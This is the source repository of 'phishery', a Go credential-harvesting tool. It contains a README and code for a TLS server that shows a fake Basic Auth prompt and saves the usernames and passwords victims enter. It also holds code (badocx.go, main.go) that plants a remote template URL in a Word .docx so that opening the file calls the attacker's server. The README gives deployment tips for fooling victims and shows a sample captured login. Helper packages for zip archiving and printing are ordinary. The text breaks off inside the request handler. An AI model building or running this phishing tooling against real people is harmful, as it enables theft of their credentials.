├── .gitignore
├── LICENSE
├── README.md
├── archivex
├── LICENSE
├── README.md
└── archivex.go
├── badocx
└── badocx.go
├── credentials.json
├── jstore
└── jstore.go
├── main.go
├── neatprint
└── neatprint.go
├── phish
├── authinfo.go
├── phishery.go
├── settings.go
└── version.go
├── release
├── screenshots
└── PhisheryDialog.jpg
├── server.crt
├── server.key
├── settings.json
└── template.dotx
/.gitignore:
--------------------------------------------------------------------------------
1 | # Created by .ignore support plugin (hsz.mobi)
2 | ### Go template
3 | # Compiled Object files, Static and Dynamic libs (Shared Objects)
4 | *.o
5 | *.a
6 | *.so
7 |
8 | # Folders
9 | _obj
10 | _test
11 |
12 | # Architecture specific extensions/prefixes
13 | *.[568vq]
14 | [568vq].out
15 |
16 | *.cgo1.go
17 | *.cgo2.c
18 | _cgo_defun.c
19 | _cgo_gotypes.go
20 | _cgo_export.*
21 |
22 | _testmain.go
23 |
24 | *.exe
25 | *.test
26 | *.prof
27 | ### JetBrains template
28 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm
29 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
30 |
31 | # User-specific stuff:
32 | .idea/workspace.xml
33 | .idea/tasks.xml
34 | .idea/dictionaries
35 | .idea/vcs.xml
36 | .idea/jsLibraryMappings.xml
37 |
38 | # Sensitive or high-churn files:
39 | .idea/dataSources.ids
40 | .idea/dataSources.xml
41 | .idea/dataSources.local.xml
42 | .idea/sqlDataSources.xml
43 | .idea/dynamic.xml
44 | .idea/uiDesigner.xml
45 |
46 | # Gradle:
47 | .idea/gradle.xml
48 | .idea/libraries
49 |
50 | # Mongo Explorer plugin:
51 | .idea/mongoSettings.xml
52 |
53 | ## File-based project format:
54 | *.iws
55 |
56 | ## Plugin-specific files:
57 |
58 | # IntelliJ
59 | /out/
60 |
61 | # mpeltonen/sbt-idea plugin
62 | .idea_modules/
63 |
64 | # JIRA plugin
65 | atlassian-ide-plugin.xml
66 |
67 | # Crashlytics plugin (for Android Studio and IntelliJ)
68 | com_crashlytics_export_strings.xml
69 | crashlytics.properties
70 | crashlytics-build.properties
71 | fabric.properties
72 |
73 | # Project specific
74 | .DS_STORE
75 | .idea
76 | *.tar.gz
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2016 Ryan Hanson
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # phishery
2 |
3 | Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.
4 | Phishery also provides the ability easily to inject the URL into a .docx Word document.
5 |
6 | 
7 |
8 | The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes
9 | Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The
10 | ability to inject any .docx file with a URL is possible using phishery's
11 | `-i [in docx]`, `-o [out docx]`, and `-u [url]` options.
12 |
13 | ### Download
14 | Operating system specific packages can be [downloaded from here](https://github.com/ryhanson/phishery/releases).
15 |
16 | ### Install
17 | Extract the archive, and optionally, install binary to $PATH
18 |
19 | ```bash
20 | $ tar -xzvf phishery*.tar.gz
21 | $ cd phishery*
22 | $ cp phishery /usr/local/bin
23 | ```
24 |
25 | ### Usage
26 | ```text
27 | $ phishery --help
28 |
29 | |\ \\\\__ O __ _ __
30 | | \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __
31 | > _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / /
32 | | / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ /
33 | |/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, /
34 | /_/ Basic Auth Credential Harvester (____/
35 | with Word Doc Template Injector
36 |
37 | Start the server : phishery -s settings.json -c credentials.json
38 | Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
39 |
40 | Options:
41 | -h, --help Show usage and exit.
42 | -v Show version and exit.
43 | -s The JSON settings file used to setup the server. [default: "settings.json"]
44 | -c The JSON file to store harvested credentials. [default: "credentials.json"]
45 | -u The phishery URL to use as the Word document template.
46 | -i The Word .docx file to inject with a template URL.
47 | -o The new Word .docx file with the injected template URL.
48 | ```
49 |
50 | ##### Running the server
51 | Modify the provided settings.json file as needed, by default it should look like this:
52 |
53 | ```json
54 | {
55 | "ip": "0.0.0.0",
56 | "port": "443",
57 | "sslCert": "server.crt",
58 | "sslKey": "server.key",
59 | "basicRealm": "Secure Document Gateway",
60 | "responseStatus": 200,
61 | "responseFile": "template.dotx",
62 | "responseHeaders": [
63 | ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"]
64 | ]
65 | }
66 | ```
67 |
68 | This setup will start the HTTP server on Port *443* with SSL configured to use *server.crt* and *server.key*.
69 | The basic authentication realm is set to *Secure Document Gateway*.
70 | When any credentials are provided, a *200* response status is sent along with the contents of the included *template.dotx* and
71 | the content type header: *Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.template*.
72 |
73 | The settings file may also be configured to output a simple body, by using *responseBody*, like this:
74 |
75 | ```json
76 | {
77 | "ip": "0.0.0.0",
78 | "port": "443",
79 | "sslCert": "server.crt",
80 | "sslKey": "server.key",
81 | "basicRealm": "Secure Document Gateway",
82 | "responseStatus": 404,
83 | "responseBody": "
Not Found
",
84 | "responseHeaders": [
85 | ["Content-Type", "text/html"]
86 | ]
87 | }
88 | ```
89 |
90 | The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user
91 | will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the phishery server.
92 |
93 | It's recommended that the provided cert is replaced with a trusted one, such as one generated with
94 | [LetsEncrypt](https://github.com/certbot/certbot). Microsoft Word on OS X will prevent the auth dialog if the cert is invalid, and Microsoft Word on Windows will prompt the user to accept the invalid certificate.
95 |
96 | Once the server is configured and running, all you need to do is embed a phishery URL in a document, or anywhere
97 | else your heart desires. phishery does give you the ability to inject your URL into a Word document as a template,
98 | instructions on how to do this can be found below.
99 |
100 | ##### Injecting a Word Document
101 | To inject a Word document with a template URL, you'll need a .docx file and the phishery server URL.
102 |
103 | Now run phishery with your document and URL:
104 |
105 | ```text
106 | $ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
107 | [+] Opening Word document: good.docx
108 | [+] Setting Word document template to: https://secure.site.local/docs
109 | [+] Saving injected Word document to: bad.docx
110 | [*] Injected Word document has been saved!
111 | ```
112 |
113 | Make sure your phishery server is running and available at the URL you used. Now when the Word document
114 | is opened, the victim will be prompted with an authentication dialog.
115 |
116 | Now when the victim opens the document, you'll see the following:
117 |
118 | ```text
119 | $ ./phishery
120 | [+] Credential store initialized at: credentials.json
121 | [+] Starting HTTPS Auth Server on: 0.0.0.0:443
122 | [*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs
123 | [*] Sending Basic Auth response to: 127.0.0.1
124 | [*] New credentials harvested!
125 | [HTTP] Host : secure.example.local
126 | [HTTP] Request : /docs
127 | [HTTP] User Agent : Microsoft Office Word
128 | [HTTP] IP Address : 127.0.0.1
129 | [AUTH] Username : john.doe
130 | [AUTH] Password : Summer15
131 | ```
132 |
--------------------------------------------------------------------------------
/archivex/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2014, Jhonathan Paulo Banczek
2 | All rights reserved.
3 |
4 | Redistribution and use in source and binary forms, with or without
5 | modification, are permitted provided that the following conditions are met:
6 |
7 | * Redistributions of source code must retain the above copyright notice, this
8 | list of conditions and the following disclaimer.
9 |
10 | * Redistributions in binary form must reproduce the above copyright notice,
11 | this list of conditions and the following disclaimer in the documentation
12 | and/or other materials provided with the distribution.
13 |
14 | * Neither the name of archivex nor the names of its
15 | contributors may be used to endorse or promote products derived from
16 | this software without specific prior written permission.
17 |
18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
22 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
23 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
25 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
26 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
27 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
28 |
29 |
--------------------------------------------------------------------------------
/archivex/README.md:
--------------------------------------------------------------------------------
1 | archivex
2 | ========
3 |
4 | archivex is a golang package that archives folders (recursively) and files to zip and tar formats.
5 |
6 | [](https://travis-ci.org/jhoonb/archivex)
7 | [](http://gocover.io/github.com/jhoonb/archivex)
8 |
9 | Installation
10 | -------------
11 |
12 | ``` bash
13 | $ go get github.com/jhoonb/archivex
14 | ```
15 |
16 |
17 | Example
18 | -------------
19 |
20 | ```go
21 |
22 | package main
23 |
24 | import (
25 | "github.com/jhoonb/archivex"
26 | )
27 |
28 | // Example using only func zip
29 | func zip() {
30 | zip := new(archivex.ZipFile)
31 | zip.Create("filezip")
32 | zip.Add("testadd.txt", []byte("test 1"))
33 | zip.AddFile("")
34 | zip.AddAll("")
44 | tar.AddAll("")
57 | arch.AddAll("= blockSize {
101 | zippedFile.Write(bytes)
102 | continue
103 | }
104 |
105 | zippedFile.Write(bytes[:readedBytes])
106 | }
107 |
108 | return nil
109 | }
110 |
111 | // AddAll adds all files from dir in archive, recursively.
112 | // Directories receive a zero-size entry in the archive, with a trailing slash in the header name, and no compression
113 | func (z *ZipFile) AddAll(dir string, includeCurrentFolder bool) error {
114 | dir = path.Clean(dir)
115 | return addAll(dir, dir, includeCurrentFolder, func(info os.FileInfo, file io.Reader, entryName string) (err error) {
116 |
117 | // Create a header based off of the fileinfo
118 | header, err := zip.FileInfoHeader(info)
119 | if err != nil {
120 | return err
121 | }
122 |
123 | // If it's a file, set the compression method to deflate (leave directories uncompressed)
124 | if !info.IsDir() {
125 | header.Method = zip.Deflate
126 | }
127 |
128 | // Set the header's name to what we want--it may not include the top folder
129 | header.Name = entryName
130 |
131 | // Add a trailing slash if the entry is a directory
132 | if info.IsDir() {
133 | header.Name += "/"
134 | }
135 |
136 | // Get a writer in the archive based on our header
137 | writer, err := z.Writer.CreateHeader(header)
138 | if err != nil {
139 | return err
140 | }
141 |
142 | // If we have a file to write (i.e., not a directory) then pipe the file into the archive writer
143 | if file != nil {
144 | if _, err := io.Copy(writer, file); err != nil {
145 | return err
146 | }
147 | }
148 |
149 | return nil
150 | })
151 | }
152 |
153 | func (z *ZipFile) Close() error {
154 | return z.Writer.Close()
155 | }
156 |
157 | // Create new Tar file
158 | func (t *TarFile) Create(name string) error {
159 | // check the filename extension
160 |
161 | // if it has a .gz, we'll compress it.
162 | if strings.HasSuffix(name, ".tar.gz") {
163 | t.Compressed = true
164 | } else {
165 | t.Compressed = false
166 | }
167 |
168 | // check to see if they have the wrong extension
169 | if strings.HasSuffix(name, ".tar.gz") != true && strings.HasSuffix(name, ".tar") != true {
170 | // is it .zip? replace it
171 | if strings.HasSuffix(name, ".zip") == true {
172 | name = strings.Replace(name, ".zip", ".tar.gz", -1)
173 | t.Compressed = true
174 | } else {
175 | // if it's not, add .tar
176 | // since we'll assume it's not compressed
177 | name = name + ".tar"
178 | }
179 | }
180 |
181 | t.Name = name
182 | file, err := os.Create(t.Name)
183 | if err != nil {
184 | return err
185 | }
186 |
187 | if t.Compressed {
188 | t.GzWriter = gzip.NewWriter(file)
189 | t.Writer = tar.NewWriter(t.GzWriter)
190 | } else {
191 | t.Writer = tar.NewWriter(file)
192 | }
193 |
194 | return nil
195 | }
196 |
197 | // Add add byte in archive tar
198 | func (t *TarFile) Add(name string, file []byte) error {
199 |
200 | hdr := &tar.Header{
201 | Name: name,
202 | Size: int64(len(file)),
203 | Mode: 0666,
204 | ModTime: time.Now(),
205 | }
206 | if err := t.Writer.WriteHeader(hdr); err != nil {
207 | return err
208 | }
209 | _, err := t.Writer.Write(file)
210 | return err
211 | }
212 |
213 | // Add add byte in archive tar
214 | func (t *TarFile) AddWithHeader(name string, file []byte, hdr *tar.Header) error {
215 |
216 | if err := t.Writer.WriteHeader(hdr); err != nil {
217 | return err
218 | }
219 | _, err := t.Writer.Write(file)
220 | return err
221 | }
222 |
223 | // AddFile add file from dir in archive tar
224 | func (t *TarFile) AddFile(name string) error {
225 | bytearq, err := ioutil.ReadFile(name)
226 | if err != nil {
227 | return err
228 | }
229 |
230 | info, err := os.Stat(name)
231 | if err != nil {
232 | return err
233 | }
234 |
235 | header, err := tar.FileInfoHeader(info, "")
236 | if err != nil {
237 | return err
238 | }
239 |
240 | err = t.Writer.WriteHeader(header)
241 | if err != nil {
242 | return err
243 | }
244 | _, err = t.Writer.Write(bytearq)
245 | if err != nil {
246 | return err
247 | }
248 | return nil
249 | }
250 |
251 | // AddFile add file from dir in archive tar
252 | func (t *TarFile) AddFileWithName(name string, filename string) error {
253 | bytearq, err := ioutil.ReadFile(name)
254 | if err != nil {
255 | return err
256 | }
257 |
258 | info, err := os.Stat(name)
259 | if err != nil {
260 | return err
261 | }
262 |
263 | header, err := tar.FileInfoHeader(info, "")
264 | if err != nil {
265 | return err
266 | }
267 | header.Name = filename
268 |
269 | err = t.Writer.WriteHeader(header)
270 | if err != nil {
271 | return err
272 | }
273 | _, err = t.Writer.Write(bytearq)
274 | if err != nil {
275 | return err
276 | }
277 | return nil
278 | }
279 |
280 | // AddAll adds all files from dir in archive
281 | // Tar does not support directories
282 | func (t *TarFile) AddAll(dir string, includeCurrentFolder bool) error {
283 | dir = path.Clean(dir)
284 | return addAll(dir, dir, includeCurrentFolder, func(info os.FileInfo, file io.Reader, entryName string) (err error) {
285 |
286 | // Skip directory entries
287 | if file == nil {
288 | return nil
289 | }
290 |
291 | // Create a header based off of the fileinfo
292 | header, err := tar.FileInfoHeader(info, "")
293 | if err != nil {
294 | return err
295 | }
296 |
297 | // Set the header's name to what we want--it may not include the top folder
298 | header.Name = entryName
299 |
300 | // Write the header into the tar file
301 | if err := t.Writer.WriteHeader(header); err != nil {
302 | return err
303 | }
304 |
305 | // Pipe the file into the tar
306 | if _, err := io.Copy(t.Writer, file); err != nil {
307 | return err
308 | }
309 |
310 | return nil
311 | })
312 | }
313 |
314 | // Close the file Tar
315 | func (t *TarFile) Close() error {
316 | err := t.Writer.Close()
317 | if err != nil {
318 | return err
319 | }
320 |
321 | if t.Compressed {
322 | err = t.GzWriter.Close()
323 | if err != nil {
324 | return err
325 | }
326 | }
327 |
328 | return err
329 | }
330 |
331 | func getSubDir(dir string, rootDir string, includeCurrentFolder bool) (subDir string) {
332 |
333 | subDir = strings.Replace(dir, rootDir, "", 1)
334 | // Remove leading slashes, since this is intentionally a subdirectory.
335 | if len(subDir) > 0 && subDir[0] == os.PathSeparator {
336 | subDir = subDir[1:]
337 | }
338 | subDir = path.Join(strings.Split(subDir, string(os.PathSeparator))...)
339 |
340 | if includeCurrentFolder {
341 | parts := strings.Split(rootDir, string(os.PathSeparator))
342 | subDir = path.Join(parts[len(parts)-1], subDir)
343 | }
344 |
345 | return
346 | }
347 |
348 | // addAll is used to recursively go down through directories and add each file and directory to an archive, based on an ArchiveWriteFunc given to it
349 | func addAll(dir string, rootDir string, includeCurrentFolder bool, writerFunc ArchiveWriteFunc) error {
350 |
351 | // Get a list of all entries in the directory, as []os.FileInfo
352 | fileInfos, err := ioutil.ReadDir(dir)
353 | if err != nil {
354 | return err
355 | }
356 |
357 | // Loop through all entries
358 | for _, info := range fileInfos {
359 |
360 | full := filepath.Join(dir, info.Name())
361 |
362 | // If the entry is a file, get an io.Reader for it
363 | var file *os.File
364 | var reader io.Reader
365 | if !info.IsDir() {
366 | file, err = os.Open(full)
367 | if err != nil {
368 | return err
369 | }
370 | reader = file
371 | }
372 |
373 | // Write the entry into the archive
374 | subDir := getSubDir(dir, rootDir, includeCurrentFolder)
375 | entryName := path.Join(subDir, info.Name())
376 | if err := writerFunc(info, reader, entryName); err != nil {
377 | if file != nil {
378 | file.Close()
379 | }
380 | return err
381 | }
382 |
383 | if file != nil {
384 | if err := file.Close(); err != nil {
385 | return err
386 | }
387 |
388 | }
389 |
390 | // If the entry is a directory, recurse into it
391 | if info.IsDir() {
392 | addAll(full, rootDir, includeCurrentFolder, writerFunc)
393 | }
394 | }
395 |
396 | return nil
397 | }
398 |
--------------------------------------------------------------------------------
/badocx/badocx.go:
--------------------------------------------------------------------------------
1 | package badocx
2 |
3 | import (
4 | "archive/zip"
5 | "errors"
6 | "io/ioutil"
7 | "strings"
8 |
9 | "github.com/ryhanson/phishery/archivex"
10 | )
11 |
12 | type Docx struct {
13 | zipReader *zip.ReadCloser
14 | files []*zip.File
15 | newFiles map[string][]byte
16 | }
17 |
18 | func OpenDocx(path string) (*Docx, error) {
19 | reader, err := zip.OpenReader(path)
20 | if err != nil {
21 | return nil, err
22 | }
23 |
24 | wordDoc := Docx{
25 | zipReader: reader,
26 | files: reader.File,
27 | newFiles: map[string][]byte{},
28 | }
29 |
30 | for _, f := range wordDoc.files {
31 | contents, _ := wordDoc.retrieveFileContents(f.Name)
32 | wordDoc.newFiles[f.Name] = contents
33 | }
34 |
35 | return &wordDoc, nil
36 | }
37 |
38 | func (d *Docx) Close() error {
39 | return d.zipReader.Close()
40 | }
41 |
42 | func (d *Docx) WriteBadocx(filename string) error {
43 | newDoc := archivex.ZipFile{}
44 |
45 | newDoc.Create(filename)
46 | for p, b := range d.newFiles {
47 | newDoc.Add(p, b)
48 | }
49 |
50 | return newDoc.Close()
51 | }
52 |
53 | func (d *Docx) SetTemplate(url string) error {
54 | relsPath := "word/_rels/settings.xml.rels"
55 | settingsPath := "word/settings.xml"
56 |
57 | settingsRels, err := d.retrieveFileContents(relsPath)
58 | if err != nil {
59 | // Doesn't exist, create it
60 | d.newFiles[relsPath] = newSettingsRels(url)
61 | } else {
62 | // TODO: Check if template already exists and update
63 | d.newFiles[relsPath] = settingsRels
64 | return errors.New("Word document might already have a template URL")
65 | }
66 |
67 | settingsBytes, err := d.retrieveFileContents(settingsPath)
68 | if err != nil {
69 | return err
70 | }
71 |
72 | start := "/>"
73 | end := "` + end
75 | settingsXml := strings.Replace(string(settingsBytes), start + end, templateNode, 1)
76 | d.newFiles[settingsPath] = []byte(settingsXml)
77 |
78 | return nil
79 | }
80 |
81 | func (d *Docx) retrieveFileContents(filename string) ([]byte, error) {
82 | var file *zip.File
83 | for _, f := range d.files {
84 | if f.Name == filename {
85 | file = f
86 | }
87 | }
88 |
89 | if file == nil {
90 | return []byte{}, errors.New(filename + " file not found")
91 | }
92 |
93 | reader, err := file.Open()
94 | if err != nil {
95 | return []byte{}, err
96 | }
97 |
98 | return ioutil.ReadAll(reader)
99 | }
100 |
101 | func newSettingsRels(url string) []byte {
102 | newRels :=
103 | `
104 |
105 |
108 | `
109 |
110 | return []byte(newRels)
111 | }
--------------------------------------------------------------------------------
/credentials.json:
--------------------------------------------------------------------------------
1 | {}
--------------------------------------------------------------------------------
/jstore/jstore.go:
--------------------------------------------------------------------------------
1 | package jstore
2 |
3 | import (
4 | "os"
5 | "encoding/json"
6 | "io/ioutil"
7 | "crypto/md5"
8 | "encoding/hex"
9 | )
10 |
11 | type JsonStore struct {
12 | filename string;
13 | }
14 |
15 | func NewStore(jsonfile string) (*JsonStore, error) {
16 | store := JsonStore{
17 | filename: jsonfile,
18 | }
19 |
20 | if _, err := os.Stat(store.filename); err == nil {
21 | return &store, nil
22 | }
23 |
24 | _, err := os.Create(store.filename)
25 | return &store, err
26 | }
27 |
28 | func (store *JsonStore) AddObject(obj interface{}) (bool, error) {
29 | objs := make(map[string]interface{})
30 | authJson, _ := json.Marshal(obj)
31 | authSum := getMD5(string(authJson))
32 |
33 | objs, err := store.LoadStore()
34 | if err != nil {
35 | return false, err
36 | }
37 |
38 | if _, ok := objs[authSum]; ok {
39 | return false, nil
40 | }
41 |
42 | objs[authSum] = obj
43 | out, err := json.MarshalIndent(objs, "", "\t")
44 | if err != nil {
45 | return false, err
46 | }
47 |
48 | return true, ioutil.WriteFile(store.filename, out, 0755)
49 | }
50 |
51 | func (store *JsonStore) LoadStore() (map[string]interface{}, error) {
52 | objs := make(map[string]interface{})
53 |
54 | file, err := os.Open(store.filename)
55 | if err != nil {
56 | return objs, err
57 | }
58 |
59 | decoder := json.NewDecoder(file)
60 | if err := decoder.Decode(&objs); err != nil && err.Error() != "EOF" {
61 | return objs, err
62 | }
63 |
64 | return objs, nil
65 | }
66 |
67 | func getMD5(text string) string {
68 | hasher := md5.New()
69 | hasher.Write([]byte(text))
70 | return hex.EncodeToString(hasher.Sum(nil))
71 | }
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "os"
7 | "os/signal"
8 | "syscall"
9 |
10 | "github.com/ryhanson/phishery/badocx"
11 | "github.com/ryhanson/phishery/neatprint"
12 | "github.com/ryhanson/phishery/phish"
13 | )
14 |
15 | const usage = `|\ \\\\__ O __ _ __
16 | | \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __
17 | > _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / /
18 | | / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ /
19 | |/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, /
20 | /_/ Basic Auth Credential Harvester (____/
21 | with Word Doc Template Injector
22 |
23 | Start the server : phishery -s settings.json -c credentials.json
24 | Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
25 |
26 | Options:
27 | -h, --help Show usage and exit.
28 | -v Show version and exit.
29 | -s The JSON settings file used to setup the server. [default: "settings.json"]
30 | -c The JSON file to store harvested credentials. [default: "credentials.json"]
31 | -u The phishery URL to use as the Word document template.
32 | -i The Word .docx file to inject with a template URL.
33 | -o The new Word .docx file with the injected template URL.
34 | -k Disable TLS support.
35 | `
36 |
37 | var neat = neatprint.NewNeatPrint()
38 |
39 | func main() {
40 | var (
41 | flVersion = flag.Bool("v", false, "")
42 | flSettings = flag.String("s", "settings.json", "")
43 | flCredentials = flag.String("c", "credentials.json", "")
44 | flUrl = flag.String("u", "", "")
45 | flDocx = flag.String("i", "", "")
46 | flBadocx = flag.String("o", "", "")
47 | flIsCleartext = flag.Bool("k", false, "")
48 | )
49 |
50 | flag.Usage = func() { fmt.Print(usage) }
51 | flag.Parse()
52 |
53 | if *flVersion {
54 | neat.Info("phishery version: " + phish.VERSION)
55 | os.Exit(0)
56 | }
57 |
58 | if *flDocx != "" || *flUrl != "" || *flBadocx != "" {
59 | createBadocx(*flUrl, *flDocx, *flBadocx)
60 | }
61 |
62 | c := make(chan os.Signal, 2)
63 | signal.Notify(c, os.Interrupt, syscall.SIGTERM)
64 | go func() {
65 | <-c
66 | fmt.Println()
67 | neat.Event("Stopping auth server...")
68 | os.Exit(1)
69 | }()
70 |
71 | err := phish.StartPhishery(*flSettings, *flCredentials, *flIsCleartext)
72 | if err != nil {
73 | neat.Error("Error starting Phishery server: %s", err)
74 | os.Exit(1)
75 | }
76 | }
77 |
78 | func createBadocx(url string, in string, out string) {
79 | if url == "" || in == "" || out == "" {
80 | neat.Error("Word .docx files and URL are required!")
81 | neat.Info("Usage: phishery -u https://secure.site.local/docs -i good.docx -o bad.docx")
82 | os.Exit(0)
83 | }
84 |
85 | neat.Event("Opening Word document: %s", in)
86 | wordDocx, err := badocx.OpenDocx(in)
87 | if err != nil {
88 | neat.Error("Error opening word document: %s", err.Error())
89 | os.Exit(1)
90 | }
91 |
92 | neat.Event("Setting Word document template to: %s", url)
93 | wordDocx.SetTemplate(url)
94 |
95 | neat.Event("Saving injected Word document to: %s", out)
96 | if err := wordDocx.WriteBadocx(out); err != nil {
97 | neat.Error("Error injecting Word doc: %s", err)
98 | os.Exit(1)
99 | }
100 |
101 | if err := wordDocx.Close(); err != nil {
102 | neat.Error("Error closing injected Word doc: %s", err)
103 | os.Exit(1)
104 | }
105 |
106 | neat.Info("Injected Word document has been saved!")
107 | os.Exit(0)
108 | }
109 |
--------------------------------------------------------------------------------
/neatprint/neatprint.go:
--------------------------------------------------------------------------------
1 | package neatprint
2 |
3 | import (
4 | "fmt"
5 | "runtime"
6 |
7 | "github.com/fatih/color"
8 | )
9 |
10 | type NeatPrint struct {
11 | yellow func(string, ...interface{}) string
12 | green func(string, ...interface{}) string
13 | cyan func(string, ...interface{}) string
14 | blue func(string, ...interface{}) string
15 | red func(string, ...interface{}) string
16 | }
17 |
18 | func NewNeatPrint() NeatPrint {
19 | if runtime.GOOS == "windows" {
20 | color.NoColor = true
21 | }
22 |
23 | return NeatPrint{
24 | yellow: color.New(color.FgHiYellow).SprintfFunc(),
25 | green: color.New(color.FgHiGreen).SprintfFunc(),
26 | cyan: color.New(color.FgHiCyan).SprintfFunc(),
27 | blue: color.New(color.FgHiBlue).SprintfFunc(),
28 | red: color.New(color.FgHiRed).SprintfFunc(),
29 | }
30 | }
31 |
32 | func (np *NeatPrint) Data(pre string, label string, value string) {
33 | fmt.Printf("%s %-11s: %s\n", np.blue("[%s]", pre), label, np.cyan(value))
34 | }
35 |
36 | func (np *NeatPrint) Info(format string, info ...interface{}) {
37 | format = fmt.Sprintf(np.yellow("[*]") + " %s\n", format)
38 | fmt.Printf(format, info...)
39 | }
40 |
41 | func (np *NeatPrint) Event(format string, event ...interface{}) {
42 | format = fmt.Sprintf(np.green("[+]") + " %s\n", format)
43 | fmt.Printf(format, event...)
44 | }
45 |
46 | func (np *NeatPrint) Error(format string, err ...interface{}) {
47 | format = fmt.Sprintf(np.red("[!]") + " %s\n", format)
48 | fmt.Printf(format, err...)
49 | }
--------------------------------------------------------------------------------
/phish/authinfo.go:
--------------------------------------------------------------------------------
1 | package phish
2 |
3 | type AuthInfo struct {
4 | Host string `json:"host"`
5 | Request string `json:"request"`
6 | IPAddress string `json:"ipAddress"`
7 | UserAgent string `json:"userAgent"`
8 | Username string `json:"username"`
9 | Password string `json:"password"`
10 | }
--------------------------------------------------------------------------------
/phish/phishery.go:
--------------------------------------------------------------------------------
1 | package phish
2 |
3 | import (
4 | "encoding/base64"
5 | "errors"
6 | "fmt"
7 | "io/ioutil"
8 | "net/http"
9 | "strings"
10 | "time"
11 |
12 | "github.com/ryhanson/phishery/jstore"
13 | "github.com/ryhanson/phishery/neatprint"
14 | )
15 |
16 | type Phishery struct {
17 | credStore *jstore.JsonStore
18 | settings Settings
19 | }
20 |
21 | var neat = neatprint.NewNeatPrint()
22 |
23 | func StartPhishery(settingsFile string, credsFile string, isCleartext bool) error {
24 | settings := loadSettings(settingsFile)
25 | credStore, err := jstore.NewStore(credsFile)
26 | if err != nil {
27 | return errors.New("Error initiliazing credential store: " + err.Error())
28 | }
29 | neat.Event("Credential store initialized at: %s", credsFile)
30 |
31 | listenOn := settings.IP + ":" + settings.Port
32 | srv := Phishery{
33 | credStore: credStore,
34 | settings: settings,
35 | }
36 |
37 | http.HandleFunc("/", srv.handler)
38 |
39 | if isCleartext {
40 | neat.Event("Starting HTTP Auth Server on: %s", listenOn)
41 | return http.ListenAndServe(listenOn, nil)
42 | }
43 | neat.Event("Starting HTTPS Auth Server on: %s", listenOn)
44 | return http.ListenAndServeTLS(listenOn, settings.SSLCert, settings.SSLKey, nil)
45 | }
46 |
47 | func (srv *Phishery) processAuth(auth string) (AuthInfo, error) {
48 | authInfo := AuthInfo{}
49 |
50 | b64, err := base64.StdEncoding.DecodeString(auth)
51 | if err != nil {
52 | return authInfo, errors.New("Error Decoding Authorization Header")
53 | }
54 |
55 | creds := strings.SplitN(string(b64), ":", 2)
56 | if len(creds) != 2 && (creds[0] == "" || creds[1] == "") {
57 | return authInfo, errors.New("Missing Authorization Credentials")
58 | }
59 |
60 | authInfo = AuthInfo{
61 | Username: creds[0],
62 | Password: creds[1],
63 | }
64 |
65 | return authInfo, nil
66 | }
67 |
68 | func (srv *Phishery) handler(resp http.ResponseWriter, req *http.Request) {
69 | printReq(req)
70 |
